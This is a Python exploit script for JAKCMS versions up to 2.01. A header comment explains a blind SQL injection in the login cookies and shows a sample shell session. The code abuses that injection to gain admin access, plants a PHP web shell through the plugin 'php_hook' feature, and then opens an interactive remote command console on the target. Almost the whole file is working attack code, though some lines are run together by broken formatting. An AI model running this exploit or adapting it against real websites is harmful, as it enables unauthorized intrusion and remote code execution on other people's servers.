#!/usr/bin/python## JAKCMS <= v2.01 Code Execution Exploit# Explanation:## During the authentication process, a check is performed to ensure that the user accessing the page is not already logged in.# This process is done by validating the cookies set in the browser as 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS'. If the cookies# are found to be set, then an SQL statement is executed to help validate if the user is logged in. This functionaility contains# a blind SQL Injection vulnerability, triggerable through both the 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS' variables.## If a valid query is provided and it returns a result set, then the user is granted access to the administrative console by setting# the session variable 'JAKLoggedIn' to true. Below is a snippet of code from the 'class/class.userlogin.php' page on lines 65-76# highlighting the vulnerable code.## public static function jakChecklogged()# {#global $jakdb;#if ((isset($_COOKIE['JAK_COOKIE_NAME']) && isset($_COOKIE['JAK_COOKIE_PASS'])) || isset($_SESSION['JAKLoggedIn'])) {# $sql = 'SELECT * FROM '.DB_PREFIX.'user WHERE ((username = "'.COOKIE_NAME.'" AND password = "'.COOKIE_PASS.'") OR (sessi$# $result = $jakdb->query($sql);# if ($jakdb->affected_rows > 0) {#$row = $result->fetch_assoc();#$_SESSION['JAKLoggedIn'] = true;## Additionally, functionality in the backend, allows an administrative user to add a "php_hook" whereby adding php content to a# page on the website. This allows an attacker essentially backdoor the website in a single request.## [mr_me@pluto jak]$ python jakcmsCodeExecution.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/## | ------------------------------------------- |# | JAKcms <= v2.01 0day Code Execution Explo!t |# | by mr_me - net-ninja.net ------------------ |## (+) Testing proxy @ localhost:8080.. proxy is found to be working!# (+) Targeting http://192.168.1.7/# (!) Exploit working!# (+) Entering interactive remote console (q for quit)## mr_me@192.168.1.7# id# uid=33(www-data) gid=33(www-data) groups=33(www-data)# # mr_me@192.168.1.7# uname -a# Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux# # mr_me@192.168.1.7# q import sys
import urllib
import re
import urllib2
import getpass
import base64
from optparse import OptionParser
usage ="./%prog [<options>] -t [target] -d [directory]"
usage +="\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/"
parser = OptionParser(usage=usage)
parser.add_option("-p",type="string",action="store", dest="proxy",help="HTTP Proxy <server:port>")
parser.add_option("-t",type="string", action="store", dest="target",help="The Target server <server:port>")
parser.add_option("-d",type="string", action="store", dest="dirPath",help="Directory path to the CMS")(options, args)= parser.parse_args()defbanner():print"\n\t| -------------------------------------- |"print"\t| JAKcms <= v2.01 Code Execution Explo!t |"print"\t| by mr_me - net-ninja.net ------------- |\n"iflen(sys.argv)<5:
banner()
parser.print_help()
sys.exit(1)deftestProxy():
check =1
sys.stdout.write("(+) Testing proxy @ %s.. "%(options.proxy))
sys.stdout.flush()try:
req = urllib2.Request("http://www.google.com/")
req.set_proxy(options.proxy,"http")
check = urllib2.urlopen(req)except:
check =0passif check !=0:
sys.stdout.write("proxy is found to be working!\n")
sys.stdout.flush()else:print"proxy failed, exiting.."
sys.exit(1)definteractiveAttack():print"(+) Entering interactive remote console (q for quit)\n"
hn ="%s@%s# "%(getpass.getuser(), options.target)
preBaseCmd =""while preBaseCmd !='q':
preBaseCmd =raw_input(hn)
cmd64 = base64.b64encode(preBaseCmd)
cmdResp = getServerResponse(options.target + options.dirPath +"index.php?p=sitemap&lol="+ cmd64,"","")
result = cmdResp.split("<!DOCTYPE html")[0]print result
defgetServerResponse(exploit, header=None, data=None):try:if header !=None:
headers ={}
headers['Cookie']= header
if data !=None:
data = urllib.urlencode(data)
req = urllib2.Request("http://"+exploit, data, headers)if options.proxy:
req.set_proxy(options.proxy,"http")
check = urllib2.urlopen(req).read()except urllib.error.HTTPError, error:
check = error.read()except urllib.error.URLError:print"(-) Target connection failed, check your address"
sys.exit(1)return check
defdoEvilRequest():print"(+) Targeting http://%s/"%(options.target)
phpShell ="system(base64_decode($_GET['lol']));"
req = options.target + options.dirPath +"admin/index.php?p=plugins&sp=newhook"
funnycookie ="JAK_COOKIE_PASS=test; JAK_COOKIE_NAME=admin\"))+and+1=1--+;"
data ={'jak_name':'lol','jak_hook':'php_sitemap','jak_plugin':'0','jak_exorder':'1','jak_phpcode': phpShell}
check = getServerResponse(req, funnycookie, data)if re.search("Successful", check):print"(!) Exploit working!"
interactiveAttack()else:print"(-) Exploit failed, exiting.."
sys.exit(1)defmain():
banner()if options.proxy:
testProxy()
doEvilRequest()if __name__ =="__main__":
main()